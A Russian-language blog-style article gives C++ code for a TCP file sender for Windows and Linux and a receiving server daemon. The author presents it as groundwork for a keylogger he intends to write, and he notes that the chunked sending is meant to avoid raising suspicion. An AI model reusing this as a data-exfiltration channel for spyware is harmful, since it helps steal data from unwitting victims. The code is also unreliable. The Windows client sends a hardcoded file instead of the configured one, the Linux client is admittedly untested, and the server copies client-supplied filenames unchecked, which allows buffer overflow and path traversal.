ПРИЕМ-ПЕРЕДАЧА ФАЙЛОВ ЧЕРЕЗ TCP-СОКЕТ
Здесь мы рассмотрим клиентскую и сервурную часть системы приема-передачи файлов. Лично мне думается, что это может пригодиться для простенького кейлоггера, который я напишу чуть позже. Рассмотрим сначала клиент для Windows. Он у нас умный и поэтому умеет читать конфиг-файл "settings.cfg", откуда читает адрес сервера, номер порта и, наконец, имя передаваемого файла. Затем она подключается к удаленному хосту и передает через TCP-сокет какой-нибудь файл, но не целиком, а порциями по 128 килобайт. Это сделано для того, чтобы процесс не занимал слишком много места в памяти и не вызывал лишних подозрений.
madWinSender.cpp
#include <iostream>
#include <fstream>
#include <cstring>
#include <cstdlib>
#include <cstdio>
#include <winsock2.h>
#include <windows.h>
#define BUFFER_SIZE 128 * 1024
int main() {
// Инициализация библиотеки Winsock
WSADATA wsaData;
int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
std::cerr << "WSAStartup failed: " << iResult << std::endl;
return 1;
}
//Новая конструкция
// Открываем файл настроек
std::ifstream config("settings.cfg");
if (!config.is_open()) {
std::cerr << "Failed to open settings.cfg" << std::endl;
WSACleanup();
return 1;
}
else {
std::cerr << "Reading settings.cfg" << std::endl;
}
// Читаем адрес удаленного хоста из файла настроек
std::string address;
std::getline(config, address);
std::cerr << "Remote server address is " << address << std::endl;
// Читаем номер порта из файла настроек
std::string port_str;
std::getline(config, port_str);
int port = std::atoi(port_str.c_str());
std::cerr << "Port " << port_str << std::endl;
// Читаем имя передаваемого файла из файла настроек
std::string filename;
std::getline(config, filename);
std::cerr << "We'll try to send file " << filename << std::endl;
// Открываем файл для чтения
std::ifstream file(filename, std::ios::binary);
if (!file.is_open()) {
std::cerr << "Failed to open file: " << filename << std::endl;
WSACleanup();
return 1;
}
// Создаем сокет
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == INVALID_SOCKET) {
std::cerr << "Error at socket(): " << WSAGetLastError() << std::endl;
WSACleanup();
return 1;
}
// Устанавливаем соединение с удаленным хостом
sockaddr_in clientService;
clientService.sin_family = AF_INET;
clientService.sin_addr.s_addr = inet_addr(address.c_str());
clientService.sin_port = htons(port);
iResult = connect(sock, (SOCKADDR*)&clientService, sizeof(clientService));
if (iResult == SOCKET_ERROR) {
std::cerr << "Failed to connect: " << WSAGetLastError() << std::endl;
closesocket(sock);
WSACleanup();
return 1;
}
else {
std::cerr << "Connection established!" << std::endl;
}
//Конец новой конструкции
//Отправка сообщения на сервер
std::string file_key = "$file";
std::string file_name = filename; //здесь фрагмент говнокода после склейки
std::string message = file_key + std::string(" ") + file_name;
int bytes_sent = send(sock, message.c_str(), message.size(), 0);
if (bytes_sent == SOCKET_ERROR) {
std::cerr << "Failed to send message: " << WSAGetLastError() << std::endl;
closesocket(sock);
WSACleanup();
return 1;
}
// Получение ответа от сервера
char response[1024] = { 0 };
int bytes_received = recv(sock, response, sizeof(response), 0);
if (bytes_received == SOCKET_ERROR) {
std::cerr << "Failed to receive response: " << WSAGetLastError() << std::endl;
closesocket(sock);
WSACleanup();
return 1;
}
if (std::strcmp(response, "$Ok") == 0) {
// Открытие файла для отправки
std::ifstream file("ZoogVPN.exe", std::ios::binary);
if (!file) {
std::cerr << "Failed to open file: ZoogVPN.exe" << std::endl;
closesocket(sock);
WSACleanup();
return 1;
}
// Чтение и отправка фрагментов файла
char buffer[BUFFER_SIZE];
while (file.read(buffer, BUFFER_SIZE)) {
int bytes_sent = send(sock, buffer, BUFFER_SIZE, 0);
if (bytes_sent == SOCKET_ERROR) {
std::cerr << "Failed to send file: " << WSAGetLastError() << std::endl;
closesocket(sock);
WSACleanup();
return 1;
}
}
// Отправка последнего фрагмента файла
int remaining_bytes = file.gcount();
if (remaining_bytes > 0) {
int bytes_sent = send(sock, buffer, remaining_bytes, 0);
if (bytes_sent == SOCKET_ERROR) {
std::cerr << "Failed to send file: " << WSAGetLastError() << std::endl;
closesocket(sock);
WSACleanup();
return 1;
}
}
file.close();
}
else {
std::cerr << "Unexpected response from server: " << response << std::endl;
closesocket(sock);
WSACleanup();
return 1;
}
std::cout << "File sent successfully!" << std::endl;
closesocket(sock);
WSACleanup();
return 0;
}
Для компиляции используется команда типа такой:
g++ madWinSender.cpp -o sender -lws2_32 -static -static-libgcc
Далее код программы со схожим функционалом для Linux:
//madSender - программа для Linux
//Данная программа читает конфиг-файл, узнает оттуда адрес удаленного хоста, номер порта, имя файла
//и передает этот файл на удаленный хост через TCP-сокет фрагментами по 128 кб.
#include <iostream> // Библиотека ввода-вывода
#include <fstream> // Библиотека работы с файлами
#include <string> // Библиотека работы со строками
#include <cstring> // Библиотека работы со строками
#include <cstdlib> // Библиотека работы с памятью
#include <cstdio> // Библиотека работы со строками
#include <sys/socket.h> // Библиотека работы с сокетами
#include <arpa/inet.h> // Библиотека работы с сетевыми адресами
#include <netdb.h> // Библиотека работы с сетевыми адресами
#include <unistd.h> // Библиотека работы с файловыми дескрипторами
#define CHUNK_SIZE 128 * 1024 // Размер чанка данных, которые будут отправляться по сети
// Функция для чтения файла и отправки его через TCP-сокет
void sendFile(int sockfd, std::string filename) {
// Открытие файла на чтение
std::ifstream file(filename, std::ios::binary);
if (!file) {
std::cerr << "Ошибка открытия файла " << filename << std::endl;
return;
}
// Получение размера файла
file.seekg(0, std::ios::end);
size_t filesize = file.tellg();
file.seekg(0, std::ios::beg);
// Отправка файла через TCP-сокет
char buffer[CHUNK_SIZE];
size_t bytes_sent = 0;
while (bytes_sent < filesize) {
size_t chunk_size = std::min(CHUNK_SIZE, filesize - bytes_sent);
file.read(buffer, chunk_size);
ssize_t bytes_written = send(sockfd, buffer, chunk_size, 0);
if (bytes_written == -1) {
std::cerr << "Ошибка отправки данных через TCP-сокет" << std::endl;
break;
}
bytes_sent += bytes_written;
}
// Закрытие файла
file.close();
}
int main() {
// Чтение конфигурационного файла
std::ifstream settings("settings.cfg");
if (!settings) {
std::cerr << "Ошибка открытия файла настроек" << std::endl;
return 1;
}
std::string address;
std::getline(settings, address); // Считываем первую строку из файла - адрес сервера
int port;
settings >> port; // Считываем вторую строку из файла - номер порта
std::string filename;
settings >> filename; // Считываем третью строку из файла - имя файла для передачи
// Создание TCP-сокета
int sockfd = socket(AF_INET, SOCK_STREAM, 0); // Создаем TCP-сокет
if (sockfd == -1) {
std::cerr << "Ошибка создания TCP-сокета" << std::endl;
return 1;
}
// Получение IP-адреса удаленного хоста
struct hostent *server = gethostbyname(address.c_str()); // Получаем IP-адрес удаленного хоста по его имени
if (server == NULL) {
std::cerr << "Ошибка получения IP-адреса удаленного хоста" << std::endl;
return 1;
}
// Заполнение структуры sockaddr_in для соединения с удаленным хостом
struct sockaddr_in serv_addr;
memset(&serv_addr, 0, sizeof(serv_addr)); // Обнуляем структуру
serv_addr.sin_family = AF_INET; // Указываем семейство протоколов
serv_addr.sin_port = htons(port); // Указываем номер порта
memcpy(&serv_addr.sin_addr.s_addr, server->h_addr, server->h_length); // Указываем IP-адрес удаленного хоста
// Подключение к удаленному хосту
if (connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) == -1) { // Подключаемся к серверу
std::cerr << "Ошибка подключения к удаленному хосту" << std::endl;
return 1;
}
// Отправка файла через TCP-сокет
sendFile(sockfd, filename);
// Закрытие TCP-сокета
close(sockfd);
return 0;
}
Если честно, ее я еще не испытывал, но как только сделаю это, то сразу же подправлю статью. Вообще, конечно, первый вариант в более высоком приоретете, поскольку большинство людей в нашей стране предпочитают Винду. Собственно, поэтому и кейлоггер, к созданию которого я так стремлюсь, должен работать, в первую очередь, под Виндой.
Теперь рассмотрим серверную часть нашего файлоприемника, она может работать под любой ОС, но лично в моем случае это дело запущено как демон в Убунте.
madFilereciever.cpp
#include <iostream> //библиотека ввода-вывода
#include <cstdlib> //библиотека для работы с системными функциями
#include <cstring> //библиотека для работы со строками
#include <unistd.h> //библиотека для работы с POSIX-совместимыми системами
#include <sys/socket.h> //библиотека для работы с сокетами
#include <netinet/in.h> //библиотека для работы с сетевыми адресами
#define PORT 6666 //номер порта
int main()
{
while(true){
int server_fd, new_socket; //дескрипторы сокетов
struct sockaddr_in address; //структура для хранения адреса
int opt = 1; //опция для сокета
int addrlen = sizeof(address); //размер структуры адреса
char buffer[128000]; //буфер для приема данных
char filename[256]; //имя файла
int bytes_received = 0; //количество принятых байт
// Создание TCP-сокета
if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == 0) {
perror("socket failed");
exit(EXIT_FAILURE);
}
// Установка опции для сокета
if (setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT,
&opt, sizeof(opt))) {
perror("setsockopt");
exit(EXIT_FAILURE);
}
// Заполнение структуры адреса
address.sin_family = AF_INET;
address.sin_addr.s_addr = INADDR_ANY;
address.sin_port = htons(PORT);
// Привязка сокета к адресу и порту
if (bind(server_fd, (struct sockaddr *)&address,
sizeof(address))<0) {
perror("bind failed");
exit(EXIT_FAILURE);
}
// Прослушивание порта
if (listen(server_fd, 3) < 0) {
perror("listen");
exit(EXIT_FAILURE);
}
// Ожидание подключения клиента
if ((new_socket = accept(server_fd, (struct sockaddr *)&address,
(socklen_t*)&addrlen))<0) {
perror("accept");
exit(EXIT_FAILURE);
}
// Прием сообщения с ключом $file
bytes_received = recv(new_socket, buffer, sizeof(buffer), 0);
if (bytes_received < 0) {
perror("recv");
exit(EXIT_FAILURE);
}
// Поиск имени файла в сообщении
char* pos = strstr(buffer, "$file ");
if (pos) {
strcpy(filename, pos + 6); //копирование имени файла
std::cout << "Filename: " << filename << std::endl;
} else {
std::cout << "Filename not found" << std::endl;
exit(EXIT_FAILURE);
}
// Отправка ответа $Ok
const char* response = "$Ok";
if (send(new_socket, response, strlen(response), 0) < 0) {
perror("send");
exit(EXIT_FAILURE);
}
// Открытие файла для записи
FILE* fp = fopen(filename, "wb");
if (fp == NULL) {
perror("fopen");
exit(EXIT_FAILURE);
}
// Прием фрагментов файла и запись в файл
while ((bytes_received = recv(new_socket, buffer, sizeof(buffer), 0)) > 0) {
fwrite(buffer, 1, bytes_received, fp);
}
std::cout << "File " << filename << " recieved!" << std::endl;
// Закрытие файла и сокетов
fclose(fp);
close(new_socket);
close(server_fd);
// Очищаем буфур, чтобы в следующей итерации вместо имени файла не было всякого лишнего дерьма.
memset(buffer, 0, sizeof(buffer));
}
}
